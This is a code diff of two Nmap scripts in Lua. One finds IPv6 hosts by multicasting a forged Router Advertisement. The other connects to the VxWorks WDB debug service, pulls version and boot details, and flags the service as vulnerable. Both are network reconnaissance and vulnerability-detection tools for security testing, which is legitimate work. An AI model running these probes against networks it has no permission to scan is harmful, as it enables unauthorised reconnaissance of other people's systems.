ula_prefix = string.sub(ula_prefix,1,1) .. global_id .. string.sub(ula_prefix,7,-1) ula_prefix = string.sub(ula_prefix,1,1) .. global_id .. string.sub(ula_prefix,7,-1)
return ula_prefix,64 return ula_prefix,64
end end
--- Build an ICMPv6 payload of Router Advertisement. --- Build an ICMPv6 payload of Router Advertisement.
@@ -79,174 +79,174 @@ end
-- @param valid_time integer that represents the valid time of the prefix. -- @param valid_time integer that represents the valid time of the prefix.
-- @param preferred_time integer that represents the preferred time of the prefix. -- @param preferred_time integer that represents the preferred time of the prefix.
local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time) local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time)
local ra_msg = string.char(0x0, --cur hop limit local ra_msg = string.char(0x0, --cur hop limit
0x08, --flags 0x08, --flags
0x00,0x00, --router lifetime 0x00,0x00, --router lifetime
0x00,0x00,0x00,0x00, --reachable time 0x00,0x00,0x00,0x00, --reachable time
0x00,0x00,0x00,0x00) --retrans timer 0x00,0x00,0x00,0x00) --retrans timer
local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
packet.set_u32("....",0,valid_time) .. packet.set_u32("....",0,valid_time) ..
packet.set_u32("....",0,preferred_time) .. packet.set_u32("....",0,preferred_time) ..
string.char(0,0,0,0) .. --unknown string.char(0,0,0,0) .. --unknown
prefix prefix
local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION,prefix_option_msg) local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION,prefix_option_msg)
local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR,mac_src) local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR,mac_src)
local icmpv6_payload = ra_msg .. icmpv6_prefix_option .. icmpv6_src_link_option local icmpv6_payload = ra_msg .. icmpv6_prefix_option .. icmpv6_src_link_option
return icmpv6_payload return icmpv6_payload
end end
local function get_interfaces() local function get_interfaces()
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface") local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
or nmap.get_interface() or nmap.get_interface()
-- interfaces list (decide which interfaces to broadcast on) -- interfaces list (decide which interfaces to broadcast on)
local interfaces = {} local interfaces = {}
if interface_name then if interface_name then
-- single interface defined -- single interface defined
local if_table = nmap.get_interface_info(interface_name) local if_table = nmap.get_interface_info(interface_name)
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
interfaces[#interfaces + 1] = if_table interfaces[#interfaces + 1] = if_table
else else
stdnse.print_debug("Interface not supported or not properly configured.") stdnse.print_debug("Interface not supported or not properly configured.")
end end
else else
for _, if_table in ipairs(nmap.list_interfaces()) do for _, if_table in ipairs(nmap.list_interfaces()) do
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
table.insert(interfaces, if_table) table.insert(interfaces, if_table)
end end
end end
end end
return interfaces return interfaces
end end
local function single_interface_broadcast(if_nfo, results) local function single_interface_broadcast(if_nfo, results)
stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device) stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
local condvar = nmap.condvar(results) local condvar = nmap.condvar(results)
local src_mac = if_nfo.mac local src_mac = if_nfo.mac
local src_ip6 = packet.ip6tobin(if_nfo.address) local src_ip6 = packet.ip6tobin(if_nfo.address)
local dst_mac = packet.mactobin("33:33:00:00:00:01") local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6 = packet.ip6tobin("ff02::1") local dst_ip6 = packet.ip6tobin("ff02::1")
---------------------------------------------------------------------------- ----------------------------------------------------------------------------
--SLAAC-based host discovery probe --SLAAC-based host discovery probe
local dnet = nmap.new_dnet() local dnet = nmap.new_dnet()
local pcap = nmap.new_socket() local pcap = nmap.new_socket()
local function catch () local function catch ()
dnet:ethernet_close() dnet:ethernet_close()
pcap:pcap_close() pcap:pcap_close()
end
local try = nmap.new_try(catch)
try(dnet:ethernet_open(if_nfo.device))
pcap:pcap_open(if_nfo.device, 128, true, "src ::0/128 and dst net ff02::1:0:0/96 and icmp6 and ip6[6:1] = 58 and ip6[40:1] = 135")
local actual_prefix = string.sub(src_ip6,1,8)
local ula_prefix, prefix_len = get_radom_ula_prefix()
-- preferred_lifetime <= valid_lifetime.
-- Nmap will get the whole IPv6 addresses of each host if the two parameters are both longer than 5 seconds.
-- Sometimes it makes sense to regard the several addresses of a host as different hosts, as the host's administrator may apply different firewall configurations on them.
local valid_lifetime = 6
local preferred_lifetime = 6
local probe = packet.Frame:new()
probe.ip_bin_src = packet.mac_to_lladdr(src_mac)
probe.ip_bin_dst = dst_ip6
probe.mac_src = src_mac
probe.mac_dst = packet.mactobin("33:33:00:00:00:01")
local icmpv6_payload = build_router_advert(src_mac,ula_prefix,prefix_len,valid_lifetime,preferred_lifetime)
probe:build_icmpv6_header(packet.ND_ROUTER_ADVERT, 0, icmpv6_payload)
probe:build_ipv6_packet()
probe:build_ether_frame()
try(dnet:ethernet_send(probe.frame_buf))
local expected_mac_dst_prefix = packet.mactobin("33:33:ff:00:00:00")
local expected_ip6_src = packet.ip6tobin("::")
local expected_ip6_dst_prefix = packet.ip6tobin("ff02::1:0:0")
pcap:set_timeout(1000)
local pcap_timeout_count = 0
local nse_timeout = 5
local start_time = nmap:clock()
local cur_time = nmap:clock()
repeat
local status, length, layer2, layer3 = pcap:pcap_receive()
cur_time = nmap:clock()
if not status then
pcap_timeout_count = pcap_timeout_count + 1
else
local l2reply = packet.Frame:new(layer2)
if string.sub(l2reply.mac_dst, 1, 3) == string.sub(expected_mac_dst_prefix, 1, 3) then
local reply = packet.Packet:new(layer3)
if reply.ip_bin_src == expected_ip6_src and
string.sub(expected_ip6_dst_prefix,1,12) == string.sub(reply.ip_bin_dst,1,12) then
local ula_target_addr_str = packet.toipv6(reply.ns_target)
local identifier = get_identifier(reply.ns_target)
--Filter out the reduplicative identifiers.
--A host will send several NS packets with the same interface identifier if it receives several RA packets with different prefix during the discovery phase.
local actual_addr_str = packet.toipv6(actual_prefix .. identifier)
if not results[actual_addr_str] then
if target.ALLOW_NEW_TARGETS then
target.add(actual_addr_str)
end
results[#results + 1] = { address = actual_addr_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
results[actual_addr_str] = true
end
end
end
end end
local try = nmap.new_try(catch) until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
try(dnet:ethernet_open(if_nfo.device)) dnet:ethernet_close()
pcap:pcap_open(if_nfo.device, 128, true, "src ::0/128 and dst net ff02::1:0:0/96 and icmp6 and ip6[6:1] = 58 and ip6[40:1] = 135") pcap:pcap_close()
local actual_prefix = string.sub(src_ip6,1,8) condvar("signal")
local ula_prefix, prefix_len = get_radom_ula_prefix()
-- preferred_lifetime <= valid_lifetime.
-- Nmap will get the whole IPv6 addresses of each host if the two parameters are both longer than 5 seconds.
-- Sometimes it makes sense to regard the several addresses of a host as different hosts, as the host's administrator may apply different firewall configurations on them.
local valid_lifetime = 6
local preferred_lifetime = 6
local probe = packet.Frame:new()
probe.ip_bin_src = packet.mac_to_lladdr(src_mac)
probe.ip_bin_dst = dst_ip6
probe.mac_src = src_mac
probe.mac_dst = packet.mactobin("33:33:00:00:00:01")
local icmpv6_payload = build_router_advert(src_mac,ula_prefix,prefix_len,valid_lifetime,preferred_lifetime)
probe:build_icmpv6_header(packet.ND_ROUTER_ADVERT, 0, icmpv6_payload)
probe:build_ipv6_packet()
probe:build_ether_frame()
try(dnet:ethernet_send(probe.frame_buf))
local expected_mac_dst_prefix = packet.mactobin("33:33:ff:00:00:00")
local expected_ip6_src = packet.ip6tobin("::")
local expected_ip6_dst_prefix = packet.ip6tobin("ff02::1:0:0")
pcap:set_timeout(1000)
local pcap_timeout_count = 0
local nse_timeout = 5
local start_time = nmap:clock()
local cur_time = nmap:clock()
repeat
local status, length, layer2, layer3 = pcap:pcap_receive()
cur_time = nmap:clock()
if not status then
pcap_timeout_count = pcap_timeout_count + 1
else
local l2reply = packet.Frame:new(layer2)
if string.sub(l2reply.mac_dst, 1, 3) == string.sub(expected_mac_dst_prefix, 1, 3) then
local reply = packet.Packet:new(layer3)
if reply.ip_bin_src == expected_ip6_src and
string.sub(expected_ip6_dst_prefix,1,12) == string.sub(reply.ip_bin_dst,1,12) then
local ula_target_addr_str = packet.toipv6(reply.ns_target)
local identifier = get_identifier(reply.ns_target)
--Filter out the reduplicative identifiers.
--A host will send several NS packets with the same interface identifier if it receives several RA packets with different prefix during the discovery phase.
local actual_addr_str = packet.toipv6(actual_prefix .. identifier)
if not results[actual_addr_str] then
if target.ALLOW_NEW_TARGETS then
target.add(actual_addr_str)
end
results[#results + 1] = { address = actual_addr_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
results[actual_addr_str] = true
end
end
end
end
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
dnet:ethernet_close()
pcap:pcap_close()
condvar("signal")
end end
local function format_output(results) local function format_output(results)
local output = tab.new() local output = tab.new()
for _, record in ipairs(results) do for _, record in ipairs(results) do
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface) tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
end end
if #results > 0 then if #results > 0 then
output = { tab.dump(output) } output = { tab.dump(output) }
if not target.ALLOW_NEW_TARGETS then if not target.ALLOW_NEW_TARGETS then
output[#output + 1] = "Use --script-args=newtargets to add the results as targets" output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end
end end
action = function() action = function()
local threads = {} local threads = {}
local results = {} local results = {}
local condvar = nmap.condvar(results) local condvar = nmap.condvar(results)
for _, if_nfo in ipairs(get_interfaces()) do for _, if_nfo in ipairs(get_interfaces()) do
-- create a thread for each interface -- create a thread for each interface
if ipOps.ip_in_range(if_nfo.address, "fe80::/10") then if ipOps.ip_in_range(if_nfo.address, "fe80::/10") then
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results) local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
threads[co] = true threads[co] = true
end end
end end
repeat repeat
for thread in pairs(threads) do for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end if coroutine.status(thread) == "dead" then threads[thread] = nil end
end end
if ( next(threads) ) then if ( next(threads) ) then
condvar "wait" condvar "wait"
end end
until next(threads) == nil until next(threads) == nil
return format_output(results) return format_output(results)
end end

View File

@@ -55,37 +55,37 @@ rpc.RPC_version["wdb"] = { min=1, max=1 }
local WDB_Procedure = { local WDB_Procedure = {
["WDB_TARGET_PING"] = 0, ["WDB_TARGET_PING"] = 0,
["WDB_TARGET_CONNECT"] = 1, ["WDB_TARGET_CONNECT"] = 1,
["WDB_TARGET_DISCONNECT"] = 2, ["WDB_TARGET_DISCONNECT"] = 2,
["WDB_TARGET_MODE_SET"] = 3, ["WDB_TARGET_MODE_SET"] = 3,
["WDB_TARGET_MODE_GET"] = 4, ["WDB_TARGET_MODE_GET"] = 4,
} }
local function checksum(data) local function checksum(data)
local sum = 0 local sum = 0
local p = 0 local p = 0
local _ local _
p, _ = bin.unpack(">I", data) p, _ = bin.unpack(">I", data)
while p < data:len() do while p < data:len() do
local c local c
p, c = bin.unpack(">S", data, p) p, c = bin.unpack(">S", data, p)
sum = sum + c sum = sum + c
end end
sum = bit.band(sum, 0xffff) + bit.rshift(sum, 16) sum = bit.band(sum, 0xffff) + bit.rshift(sum, 16)
return bit.bnot( sum ) return bit.bnot( sum )
end end
local seqnum = 0 local seqnum = 0
local function seqno() local function seqno()
seqnum = seqnum + 1 seqnum = seqnum + 1
return seqnum return seqnum
end end
local function request(comm, procedure, data) local function request(comm, procedure, data)
local packet = comm:EncodePacket( nil, procedure, {type = rpc.Portmap.AuthType.NULL}, nil ) local packet = comm:EncodePacket( nil, procedure, {type = rpc.Portmap.AuthType.NULL}, nil )
local wdbwrapper = bin.pack( ">I2", data:len() + packet:len() + 8, seqno() ) local wdbwrapper = bin.pack( ">I2", data:len() + packet:len() + 8, seqno() )
local sum = checksum(packet..bin.pack(">I", 0x00000000)..wdbwrapper..data) local sum = checksum(packet..bin.pack(">I", 0x00000000)..wdbwrapper..data)
return packet .. bin.pack(">S2", 0xffff, sum) .. wdbwrapper .. data return packet .. bin.pack(">S2", 0xffff, sum) .. wdbwrapper .. data
end end
local function stripnull(str) local function stripnull(str)
@@ -97,139 +97,139 @@ local function stripnull(str)
end end
local function decode_reply(data, pos) local function decode_reply(data, pos)
local wdberr, len local wdberr, len
local done = data:len() local done = data:len()
local info = {} local info = {}
local _ local _
pos, _ = rpc.Util.unmarshall_uint32(data, pos) pos, _ = rpc.Util.unmarshall_uint32(data, pos)
pos, _ = rpc.Util.unmarshall_uint32(data, pos) pos, _ = rpc.Util.unmarshall_uint32(data, pos)
pos, wdberr = rpc.Util.unmarshall_uint32(data, pos) pos, wdberr = rpc.Util.unmarshall_uint32(data, pos)
info["error"] = bit.band(wdberr, 0xc0000000) info["error"] = bit.band(wdberr, 0xc0000000)
if (info["error"] ~= 0x00000000 ) then if (info["error"] ~= 0x00000000 ) then
stdnse.print_debug(1,"Error from decode_reply: %x", info["error"]) stdnse.print_debug(1,"Error from decode_reply: %x", info["error"])
return nil, info return nil, info
end end
pos, len = rpc.Util.unmarshall_uint32(data, pos) pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len ~= 0) then if (len ~= 0) then
pos, info["agent_ver"] = rpc.Util.unmarshall_vopaque(len, data, pos) pos, info["agent_ver"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end end
pos, info["agent_mtu"] = rpc.Util.unmarshall_uint32(data, pos) pos, info["agent_mtu"] = rpc.Util.unmarshall_uint32(data, pos)
pos, info["agent_mod"] = rpc.Util.unmarshall_uint32(data, pos) pos, info["agent_mod"] = rpc.Util.unmarshall_uint32(data, pos)
pos, info["rt_type"] = rpc.Util.unmarshall_uint32(data, pos) pos, info["rt_type"] = rpc.Util.unmarshall_uint32(data, pos)
pos, len = rpc.Util.unmarshall_uint32(data, pos) pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (pos == done) then return pos, info end if (pos == done) then return pos, info end
if (len ~= 0) then if (len ~= 0) then
pos, info["rt_vers"] = rpc.Util.unmarshall_vopaque(len, data, pos) pos, info["rt_vers"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end end
pos, info["rt_cpu_type"] = rpc.Util.unmarshall_uint32(data, pos) pos, info["rt_cpu_type"] = rpc.Util.unmarshall_uint32(data, pos)
pos, len = rpc.Util.unmarshall_uint32(data, pos) pos, len = rpc.Util.unmarshall_uint32(data, pos)
info["rt_has_fpp"] = ( len ~= 0 ) info["rt_has_fpp"] = ( len ~= 0 )
pos, len = rpc.Util.unmarshall_uint32(data, pos) pos, len = rpc.Util.unmarshall_uint32(data, pos)
info["rt_has_wp"] = ( len ~= 0 ) info["rt_has_wp"] = ( len ~= 0 )
pos, info["rt_page_size"] = rpc.Util.unmarshall_uint32(data, pos) pos, info["rt_page_size"] = rpc.Util.unmarshall_uint32(data, pos)
pos, info["rt_endian"] = rpc.Util.unmarshall_uint32(data, pos) pos, info["rt_endian"] = rpc.Util.unmarshall_uint32(data, pos)
pos, len = rpc.Util.unmarshall_uint32(data, pos) pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len ~= 0) then if (len ~= 0) then
pos, info["rt_bsp_name"] = rpc.Util.unmarshall_vopaque(len, data, pos) pos, info["rt_bsp_name"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end end
pos, len = rpc.Util.unmarshall_uint32(data, pos) pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len ~= 0) then if (len ~= 0) then
pos, info["rt_bootline"] = rpc.Util.unmarshall_vopaque(len, data, pos) pos, info["rt_bootline"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end end
if (pos == done) then return pos, info end if (pos == done) then return pos, info end
pos, info["rt_membase"] = rpc.Util.unmarshall_uint32(data, pos) pos, info["rt_membase"] = rpc.Util.unmarshall_uint32(data, pos)
if (pos == done) then return pos, info end if (pos == done) then return pos, info end
pos, info["rt_memsize"] = rpc.Util.unmarshall_uint32(data, pos) pos, info["rt_memsize"] = rpc.Util.unmarshall_uint32(data, pos)
if (pos == done) then return pos, info end if (pos == done) then return pos, info end
pos, info["rt_region_count"] = rpc.Util.unmarshall_uint32(data, pos) pos, info["rt_region_count"] = rpc.Util.unmarshall_uint32(data, pos)
if (pos == done) then return pos, info end if (pos == done) then return pos, info end
pos, len = rpc.Util.unmarshall_uint32(data, pos) pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len ~= 0) then if (len ~= 0) then
info["rt_regions"] = {} info["rt_regions"] = {}
for i = 1, len do for i = 1, len do
pos, info["rt_regions"][i] = rpc.Util.unmarshall_uint32(data, pos) pos, info["rt_regions"][i] = rpc.Util.unmarshall_uint32(data, pos)
end end
end end
if (pos == done) then return pos, info end if (pos == done) then return pos, info end
pos, len = rpc.Util.unmarshall_uint32(data, pos) pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len == nil) then return pos, info end if (len == nil) then return pos, info end
if (len ~= 0) then if (len ~= 0) then
pos, info["rt_hostpool_base"] = rpc.Util.unmarshall_vopaque(len, data, pos) pos, info["rt_hostpool_base"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end end
if (pos == done) then return pos, info end if (pos == done) then return pos, info end
pos, len = rpc.Util.unmarshall_uint32(data, pos) pos, len = rpc.Util.unmarshall_uint32(data, pos)
if (len ~= 0) then if (len ~= 0) then
pos, info["rt_hostpool_size"] = rpc.Util.unmarshall_vopaque(len, data, pos) pos, info["rt_hostpool_size"] = rpc.Util.unmarshall_vopaque(len, data, pos)
end end
return pos, info return pos, info
end end
action = function(host, port) action = function(host, port)
local comm = rpc.Comm:new("wdb", 1) local comm = rpc.Comm:new("wdb", 1)
local status, err, data, pos, header local status, err, data, pos, header
local info = {} local info = {}
status, err = comm:Connect(host, port) status, err = comm:Connect(host, port)
if (not(status)) then if (not(status)) then
return stdnse.format_output(false, err) return stdnse.format_output(false, err)
end end
comm.socket:set_timeout(3000) comm.socket:set_timeout(3000)
local packet = request(comm, WDB_Procedure["WDB_TARGET_CONNECT"], bin.pack(">I3", 0x00000002, 0x00000000, 0x00000000)) local packet = request(comm, WDB_Procedure["WDB_TARGET_CONNECT"], bin.pack(">I3", 0x00000002, 0x00000000, 0x00000000))
if (not(comm:SendPacket(packet))) then if (not(comm:SendPacket(packet))) then
return stdnse.format_output(false, "Failed to send request") return stdnse.format_output(false, "Failed to send request")
end end
status, data = comm:ReceivePacket() status, data = comm:ReceivePacket()
if (not(status)) then if (not(status)) then
--return stdnse.format_output(false, "Failed to read data") --return stdnse.format_output(false, "Failed to read data")
return nil return nil
end end
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
pos = 0 pos = 0
pos, header = comm:DecodeHeader(data, pos) pos, header = comm:DecodeHeader(data, pos)
if not header then if not header then
return stdnse.format_output(false, "Failed to decode header") return stdnse.format_output(false, "Failed to decode header")
end end
if ( pos == data:len() ) then if ( pos == data:len() ) then
return stdnse.format_output(false, "No WDB data in reply") return stdnse.format_output(false, "No WDB data in reply")
end end
pos, info = decode_reply(data, pos) pos, info = decode_reply(data, pos)
if not pos then if not pos then
return stdnse.format_output(false, "WDB error: "..info.error) return stdnse.format_output(false, "WDB error: "..info.error)
end end
port.version.name = "wdb" port.version.name = "wdb"
port.version.name_confidence = 10 port.version.name_confidence = 10
port.version.product = "Wind DeBug Agent" port.version.product = "Wind DeBug Agent"
port.version.version = stripnull(info["agent_ver"]) port.version.version = stripnull(info["agent_ver"])
if (port.version.ostype ~= nil) then if (port.version.ostype ~= nil) then
port.version.ostype = "VxWorks " .. stripnull(info["rt_vers"]) port.version.ostype = "VxWorks " .. stripnull(info["rt_vers"])
end end
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
-- Clean up (some agents will continue to send data until we disconnect) -- Clean up (some agents will continue to send data until we disconnect)
packet = request(comm, WDB_Procedure["WDB_TARGET_DISCONNECT"], bin.pack(">I3", 0x00000002, 0x00000000, 0x00000000)) packet = request(comm, WDB_Procedure["WDB_TARGET_DISCONNECT"], bin.pack(">I3", 0x00000002, 0x00000000, 0x00000000))
if (not(comm:SendPacket(packet))) then if (not(comm:SendPacket(packet))) then
return stdnse.format_output(false, "Failed to send request") return stdnse.format_output(false, "Failed to send request")
end end
local o = stdnse.output_table() local o = stdnse.output_table()
table.insert(o, "VULNERABLE: Wind River Systems VxWorks debug service enabled. See http://www.kb.cert.org/vuls/id/362332") table.insert(o, "VULNERABLE: Wind River Systems VxWorks debug service enabled. See http://www.kb.cert.org/vuls/id/362332")
if (info.agent_ver) then if (info.agent_ver) then
o["Agent version"] = stripnull(info.agent_ver) o["Agent version"] = stripnull(info.agent_ver)
end end
--table.insert(o, "Agent MTU: " .. info.agent_mtu) --table.insert(o, "Agent MTU: " .. info.agent_mtu)
if (info.rt_vers) then if (info.rt_vers) then
o["VxWorks version"] = stripnull(info.rt_vers) o["VxWorks version"] = stripnull(info.rt_vers)
end end
-- rt_cpu_type is an enum type, but I don't have access to -- rt_cpu_type is an enum type, but I don't have access to
-- cputypes.h, where it is defined -- cputypes.h, where it is defined
--table.insert(o, "CPU Type: " .. info.rt_cpu_type) --table.insert(o, "CPU Type: " .. info.rt_cpu_type)
if (info.rt_bsp_name) then if (info.rt_bsp_name) then
o["Board Support Package"] = stripnull(info.rt_bsp_name) o["Board Support Package"] = stripnull(info.rt_bsp_name)
end end
if (info.rt_bootline) then if (info.rt_bootline) then
o["Boot line"] = stripnull(info.rt_bootline) o["Boot line"] = stripnull(info.rt_bootline)
end end
return o return o
end end